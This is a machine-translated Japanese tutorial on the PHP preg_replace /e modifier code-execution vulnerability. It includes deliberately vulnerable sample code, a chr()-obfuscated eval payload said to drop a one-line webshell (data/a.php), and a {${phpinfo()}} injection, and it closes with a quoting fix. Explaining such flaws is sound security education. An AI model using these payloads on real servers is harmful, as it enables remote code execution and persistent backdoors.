preg_replace 関数のプロトタイプ:
mixed preg_replace (混合パターン、混合置換、混合主語 [, int limit])
特別な命令:
/e 修飾子により、 preg_replace() は置換パラメータを PHP コードとして扱います (適切な後方参照は置き換えられています)。ヒント: 置換によって有効な PHP コード文字列が形成されていることを確認してください。そうでない場合、PHP は preg_replace() を含む行で構文解析エラーを報告します。
例:
コードをコピーします コードは次のとおりです:
preg_replace ("/(?)(w+)([^>]*>) /e",
"1.strtoupper(2).3",
$html_body);
?>
これにより、入力文字列内のすべての HTML タグが大文字になります。
セキュリティ脅威分析:
通常、サブジェクトパラメータはクライアントによって生成され、クライアントは次のような悪意のあるコードを構築する可能性があります:
コードをコピー コードは次のとおりです:
echo preg_replace( "/test/e",$_GET["h"],"jutst test");
?h=phpinfo() を送信すると、phpinfo() が実行されます ( /e 修飾子、preg_replace は置換パラメーターを PHP コードとして実行します)。
次のコードを送信するとどうなりますか?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112) .chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97) ).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41) ).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr( 118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr( 91)。
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr (59))
暗号文に対応する平文は次のとおりです: fputs(fopen(data/a.php,w),);
実行結果は / にあります。 data / ディレクトリに一文のトロイの木馬ファイル a.php が生成されます。
別の難しい例:
コードをコピーします コードは次のとおりです:
function test($str)
{
}
echo preg_replace("/s*[php] ( .+?)[/php]s*/ies", 'test("1")', $_GET["h"]);
?>
Submit?h=[php]phpinfo( ) [/php]、phpinfo()は実行されるでしょうか?
絶対に違います。通常のマッチングの後、置換パラメータは「test("phpinfo")」になり、現時点では phpinfo は文字列パラメータとしてのみ使用されるためです。
それを実行する方法はありますか?
もちろんです。ここで ?h=[php]{${phpinfo()}}[/php] を送信すると phpinfo() が実行されます。なぜ?
PHP では、二重引用符で囲まれた変数がある場合、PHP インタープリターはそれを変数の解釈の結果に置き換えます。一重引用符で囲まれた変数は処理されません。
注: 二重引用符で囲まれた関数は実行されず、置換されません。
ここでは、関数を実行する効果を得るために、{${}} 'test("{${phpinfo()}}")' を通じて特別な変数を構築する必要があります (${phpinfo()} は解釈されて実行されます)。
最初に次のテストを実行できます:
コードをコピーします コードは次のとおりです:
echo "{${phpinfo()}}";
phpinfo は正常に実行されます。
この脆弱性を防ぐにはどうすればよいですか?
「${phpinfo()}」が通常の文字列として扱われるように、「test("1")」を「test('1')」に変更します (一重引用符で囲まれた変数は処理されません)。
http://www.bkjia.com/PHPjc/327690.html
www.bkjia.comtruehttp://www.bkjia.com/PHPjc/327690.html技術記事 preg_replace 関数のプロトタイプ: 混合 preg_replace (混合パターン、混合置換、混合主語 [, int 制限]) 特別な命令: /e 修飾子により、preg_replace() は置換パラメーターを次のように処理します